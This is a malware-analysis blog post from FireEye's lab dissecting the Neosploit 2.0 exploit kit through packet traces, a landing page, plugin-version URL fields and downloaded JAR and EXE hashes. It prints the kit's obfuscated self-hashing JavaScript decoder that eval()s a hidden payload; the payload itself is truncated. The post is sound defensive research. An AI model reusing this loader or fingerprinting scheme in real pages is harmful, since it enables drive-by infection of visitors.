Some Notes About Neosploit

The Little Picture

I have a huge pile of notes on various types of malware and exploits. Meticulous details from where I look with my [metaphorical] microscope, but not a lot of big-picture stuff, because that usually takes much more time than just reading through a hexdump. So, I'm going to write a series of blog posts like these, looking at the little picture. Some of my explanations might be a little bit terse. I have a bad habit of going: "Here, look at this disassembly, isn't it obvious what it's doing". But, teaching how to read this stuff is a lot of work. So, I hope you don't find reading this to be too tedious if I'm short on explanations.

Some notes on Neosploit 2.0

The Attack Scheme

So, you're browsing along, and you hit an advert like [raw][/raw][A long Base-64 string goes here…]e7f9 which directs you to a page like, which looks like this:


<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">

<title>Page is loading... please wait</title>

</head><body bgcolor="white">

<iframe src="" width=1 height=1></iframe>


<table border="0" cellspacing="10">

<tbody><tr><td>Page is loading... please wait</td><td></td>


<td><table bgcolor="gray" border="0" cellspacing="1">

<tbody><tr><td valign="center" width="320" align="center" bgcolor="white" height="320">

<img src="wait_files/loading.gif" border="0"></td></tr>


<div id="q"></div>


So, your browser says this. Pay close attention to the User-Agent strings.

GET /mra/bery/ HTTP/1.1


User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: 302 redirects to which barfs out the following:

HTTP/1.1 200 OK

Server: nginx/0.7.62

Date: Mon, 19 Apr 2010 21:41:38 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Pragma: no-cache





function nerot(x__bR6tA2_c, VjY0ChgQ){if (!self.self.navigator["taintE" + "nabled"]()){var DH_1BOdu = nerot['a'+'rgum'+'ents']["c" + "azzee"['r'+'epl'+'ace'](/zz/, 'll')];DH_1BOdu = DH_1BOdu["t"+"oS"+"t"+"r"+"ing"]();var k42_wajRj___2i = 0;var trf_1fU_gb = "z";trf_1fU_gb = trf_1fU_gb + "d";var I7f0PD__6vaI8 = document["g"+"etE"+"lem"+"e"+"nt"+"ById"](trf_1fU_gb);if (I7f0PD__6vaI8) {if (!VjY0ChgQ) {VjY0ChgQ = I7f0PD__6vaI8.value;}}k42_wajRj___2i++;k42_wajRj___2i++;var firot = new Array();if (x__bR6tA2_c) { firot = x__bR6tA2_c;} else {var IDP0pgJ_m = 0;var k7c_cQ_tXGFTW = 0;var s6c4w_L7n__k67Q = 512;var K_va_x0J0Q_4b6e = 52;K_va_x0J0Q_4b6e = K_va_x0J0Q_4b6e - 4;var jis_0M = K_va_x0J0Q_4b6e + 9;while(k7c_cQ_tXGFTW < DH_1BOdu.length) {var dD_8j20b = 1;var RvqL6_5O_li8r = DH_1BOdu['c'+'h'+'arC'+'odeAt'](k7c_cQ_tXGFTW);if (RvqL6_5O_li8r <= jis_0M && RvqL6_5O_li8r >= K_va_x0J0Q_4b6e) {if (IDP0pgJ_m == 4) { IDP0pgJ_m = 0; }if (isNaN(firot[IDP0pgJ_m])) {firot[IDP0pgJ_m] = 0;}firot[IDP0pgJ_m] += RvqL6_5O_li8r;if (firot[IDP0pgJ_m] > 512) {firot[IDP0pgJ_m] -= s6c4w_L7n__k67Q;}IDP0pgJ_m++;}k7c_cQ_tXGFTW++;}}IDP0pgJ_m = 4;for (var M_U8drM = 0; M_U8drM < 4; M_U8drM++) {if (firot[M_U8drM] > 256) {firot[M_U8drM] -= 256;}}var yHh____ioiCe = 0;var MPTtB_JJ_k__3m = "";var vvF8g_K1_mm = 0;var yR2H3__U_m = 0;var Ek46_5P_8c1_h;var S13_nS1_66 = 0;while(vvF8g_K1_mm < VjY0ChgQ.length) {var y2vf8q_mQr = VjY0ChgQ.substr(vvF8g_K1_mm, 1) + "Z";var sO7S_YOJ_Y4_o0g = parseInt(y2vf8q_mQr, 16);if (yR2H3__U_m) {Ek46_5P_8c1_h += sO7S_YOJ_Y4_o0g;if (yHh____ioiCe == 4) {yHh____ioiCe -= 4;}var usCC803mN4pN2 = Ek46_5P_8c1_h;usCC803mN4pN2 = usCC803mN4pN2 - (S13_nS1_66 + 2) * firot[yHh____ioiCe];if (usCC803mN4pN2 < 0) {usCC803mN4pN2 = usCC803mN4pN2 - Math['floor'](usCC803mN4pN2 / 256) * 256;}usCC803mN4pN2 = String.fromCharCode(usCC803mN4pN2);if (k42_wajRj___2i == 2) {MPTtB_JJ_k__3m += usCC803mN4pN2;} else if (k42_wajRj___2i == 1) {MPTtB_JJ_k__3m += sO7S_YOJ_Y4_o0g;} else {MPTtB_JJ_k__3m += vvF8g_K1_mm;}yHh____ioiCe++;yR2H3__U_m = 0;S13_nS1_66++;} else {yR2H3__U_m = 1;Ek46_5P_8c1_h = sO7S_YOJ_Y4_o0g * 16;}vvF8g_K1_mm++;};var abcd=0; ;var TO4_y1b7p = this;TO4_y1b7p['ev'+'al'](MPTtB_JJ_k__3m);}}



<body asddsad onload="window['nerot'] () ;" asd>

<input class="civaf" type="hidden" id="aa" value="1">

<input class="civaf" type="hidden" id="zd" value="3E237281BB87437955 […8614 bytes of hex go here…] E9DA303683">

<input class="civaf" type="hidden" id="ab" value="1">




This blob of hex decodes to a bunch of Javascript which checks for the installed versions of various plug-ins (Quicktime, Flash, Acrobat, etc.) and forms a new URL with which it fetches the next chunk of Javascript which launches an appropriate exploit. The new URL for this example would be http://ber/ But, I just noticed that the packet trace I'm reading through is missing packets at this point, so I'm not showing it here. (And finding another .pcap with this same code will take more time than I'm willing to spend looking for it right now.)

This exploit code, results in the following HTTP request. Notice how the User-Agent has changed.

GET /ber/ HTTP/1.1

accept-encoding: pack200-gzip, gzip

content-type: application/x-java-archive

User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_02


Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

Which is the download of a Java Applet file. (In hex here for presentation purposes.)

HTTP/1.1 200 OK

Server: nginx/0.7.62

Date: Mon, 19 Apr 2010 21:41:42 GMT

Content-Type: application/octet-stream

Connection: close

Pragma: no-cache

Content-Length: 6386

000000b0 50 4b 03 04 14 00 08 00 08 00 a9 a3 98 3b 00 | PK...........;.|

000000c0 00 00 00 00 00 00 00 00 00 00 00 11 00 04 00 41 |...............A|

000000d0 70 70 6c 65 74 50 61 6e 65 6c 2e 63 6c 61 73 73 |ppletPanel.class|

000000e0 fe ca 00 00 bd 1a 5b 93 94 c5 f5 7c e1 32 cb ec |......[....|.2..|


It's a .JAR file, that is, a .ZIP file with some Java .CLASS files, and sometimes metadata. See:

 Length   Method    Size  Ratio   Date   Time   CRC-32    Name

-------- ------ ------- ----- ---- ---- ------ ----

13079 Defl:N 4107 69% 12-24-09 20:29 5a85c6aa AppletPanel.class

4774 Defl:N 2011 58% 12-24-09 20:29 c6631282 Main.class

-------- ------- --- -------

17853 6118 66% 2 files

More about this Java stuff later…

And then for some reason, at least in the trace I'm looking at, it fetches the same file again. [MD5:4f8d2d616b1324db5dfa60b54f8fcf1a by the way (poor A/V detection).]

GET /ber/ HTTP/1.1

accept-encoding: pack200-gzip,gzip

User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_02


Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: nginx/0.7.62

Date: Mon, 19 Apr 2010 21:41:43 GMT

Content-Type: application/octet-stream

Connection: close

Pragma: no-cache

Content-Length: 6386


And then it fetches a Windows EXE file.

GET /ber/ HTTP/1.1

User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_02


Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


This EXE is 5bbb85d91199f5111c5bca441a941871.

HTTP/1.1 200 OK

Server: nginx/0.7.62

Date: Mon, 19 Apr 2010 21:41:44 GMT

Content-Type: application/octet-stream

Connection: close

Pragma: no-cache

Content-Length: 103424

000000b0 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff | MZP..........|

000000c0 ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 |...........@....|

000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|


000000f0 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd |...........!..L.|

00000100 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 |!..This program |

00000110 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e |cannot be run in|

00000120 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 | DOS mode....$..|

The URL Scheme


The URIs are composed of several fields, usually four bytes in hex (that's eight hex characters) each prefixed with a (non-hex) letter. A few fields are three digit numerics, or two digits with a field prefix, depending on how you look at it. The first character [j,e,o] appears to be a type for whatever document is to be returned.

First CharacterAssumed Meaning
jJavascript code for launching exploit.
oObjects (I guess), PDFs, and Java Applets.
eExecutables - Typically Mebroot…














Ke496c0ad up into fields, we get something like:

URL ChunkMeaning
Server Generated above)
H85ad2e26Unknown; Server generates this, possibly based upon something Host or User-Agent related.
V03009f35And this
002And this
R1d006976And this
102And this too
Tce61e034I suspect that this is a timestamp of some kind, but I haven't figured it out yet.
Client Generated
Q00000049The version of Quicktime Player which is installed.
901If the Windows Media Player is enabled.
801The version of Adobe Acrobat which is installed.
F002a000aThe version of Shockwave Flash which is installed.
J02000601The version of the Java Plug-In which is installed.
L656e2d55530000000000Browser (and typically OS) Language Code. Obviously this one says "en-US".
Ke496c0adThe checksum/"encryption key" used to decode the obfuscated javascript.
Server Regenerated
l0409The Windows Locale ID (LCID) equivalent for "en-US".

Most of the hex version strings are generated by just taking all of the numbers in the version, concatenating them together like strings, and then converting that number to hex. So, "Foobar Plug-In 1.2.34", gets turned into "1234", which is 0x4D2, which would be written as 000004d2 in the URL. Or alternatively, each field of the version string is converted to hex individually, and each of those is string-concatinated together. So "Plug-In 1.2.3_04", becomes 0x01, 0x02, 0x03, 0x04, which becomes something like 04030201 in the URL.

A Random Sampling

Below are the fragments of a few Neosploit URLs collected from the wild. (Many different victims.)

The decimal version numbers are just squished together for Quicktime.

Q FieldQuicktime Version
Q00000000Not installed.
Q00000041Version 6.5
Q00000047Version 7.1
Q00000048Version 7.2
Q0000004cVersion 7.6
Q000001f6Version 5.0.2
Q000002f3Version 7.5.5
Q000002faVersion 7.6.2
Q000002fcVersion 7.6.4
Q000002fdVersion 7.6.5
Q00012855(Uncertain about this.) Version ?

The Acrobat checking code is just looking for a certain number within the version string.

8 FieldAdobe Acrobat Version
800Not Installed
805Version 5
806Version 6
807Version 7
801All versions other than 5, 6, and 7

Windows Media Player; Seriously, the [de-obfuscated by hand] code looks like this:

var urlfield9 = '00';

try {

if (navigator.mimeTypes["video/x-ms-wmv"].enabledPlugin) {

urlfield9 = '01';


} catch(e) { }

9 FieldWindows Media Player Enabled?

These two encode the versions in that other way.

J FieldJava Version
J00000000Not Installed
J00000601Java Plug-in 1.6.0
J03000601Java Plug-in 1.6.0_03
J05010401Java Plug-in 1.4.1_05
J06000501Java Plug-in 1.5.0_06
J07000501Java Plug-in 1.5.0_07
J07000601Java Plug-in 1.6.0_07
J0a000501Java Plug-in 1.5.0_10
J0a000601Java Plug-in 1.6.0_10
J0b000601Java Plug-in 1.6.0_11
J0c000601Java Plug-in 1.6.0_12
J0d000601Java Plug-in 1.6.0_13
J0e000601Java Plug-in 1.6.0_14
J0f000601Java Plug-in 1.6.0_15
J10000601Java Plug-in 1.6.0_16
J11000601Java Plug-in 1.6.0_17
J12000601Java Plug-in 1.6.0_18

F FieldFlash Version
F0002000aShockwave Flash 10.0 r02
F000c000aShockwave Flash 10.0 r12
F0016000aShockwave Flash 10.0 r22
F0020000aShockwave Flash 10.0 r32
F002a000aShockwave Flash 10.0 r42
F002d000aShockwave Flash 10.0 r45
F002f0009Shockwave Flash 9.0 r47

The first Javascript stage hashes itself, using the arguments.callee() trick, and those four bytes are used to decode the second Javascript stage. For some reason, that hash is sent back to the server in the K field, for all further generated URLs.

nerot, firot

Although Neosploit goes to great lengths in order to obfuscate itself; Replacing every Javascript variable name with a random string of characters; It neglects to replace the variable nerot and firot which are the names of the hashing/decoder function, and a string representing this function's own source code [the output of arguments.callee()].

If you think about it for a moment, the reason is obvious. nerot() uses itself as the key, and is called from within the encoded blob of Javascript… the hash of the code blob(s) change when any variable name is changed. So, it's a chicken-and-egg problem.

Code Walkthrough

I'm trying to keep this blog post short. Wait for Part 2.

Julia Wolf @ FireEye Malware Intelligence Lab

Questions/Comments to research [@] fireeye [.] com